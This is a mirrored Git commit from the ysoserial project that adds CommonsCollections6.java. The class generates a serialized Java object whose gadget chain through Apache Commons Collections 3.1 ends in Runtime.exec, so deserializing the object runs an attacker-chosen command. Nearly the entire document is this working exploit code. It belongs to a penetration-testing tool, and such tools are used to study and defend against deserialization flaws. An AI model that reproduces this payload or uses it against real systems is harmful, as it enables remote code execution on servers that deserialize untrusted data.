mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Adding general CC gadget that works with IBM and Oracle JRE
This commit is contained in:
@@ -0,0 +1,107 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
java.io.ObjectInputStream.readObject()
|
||||
java.util.HashSet.readObject()
|
||||
java.util.HashMap.put()
|
||||
java.util.HashMap.hash()
|
||||
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
|
||||
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
|
||||
org.apache.commons.collections.map.LazyMap.get()
|
||||
org.apache.commons.collections.functors.ChainedTransformer.transform()
|
||||
org.apache.commons.collections.functors.InvokerTransformer.transform()
|
||||
java.lang.reflect.Method.invoke()
|
||||
java.lang.Runtime.exec()
|
||||
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(final String command) throws Exception {
|
||||
|
||||
final String[] execArgs = new String[] { command };
|
||||
|
||||
final Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer("getMethod", new Class[] {
|
||||
String.class, Class[].class }, new Object[] {
|
||||
"getRuntime", new Class[0] }),
|
||||
new InvokerTransformer("invoke", new Class[] {
|
||||
Object.class, Object[].class }, new Object[] {
|
||||
null, new Object[0] }),
|
||||
new InvokerTransformer("exec",
|
||||
new Class[] { String.class }, execArgs),
|
||||
new ConstantTransformer(1) };
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
|
||||
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
f.setAccessible(true);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
|
||||
f2.setAccessible(true);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if(node == null){
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try{
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
}catch(Exception e){
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
keyField.setAccessible(true);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections6.class, args);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user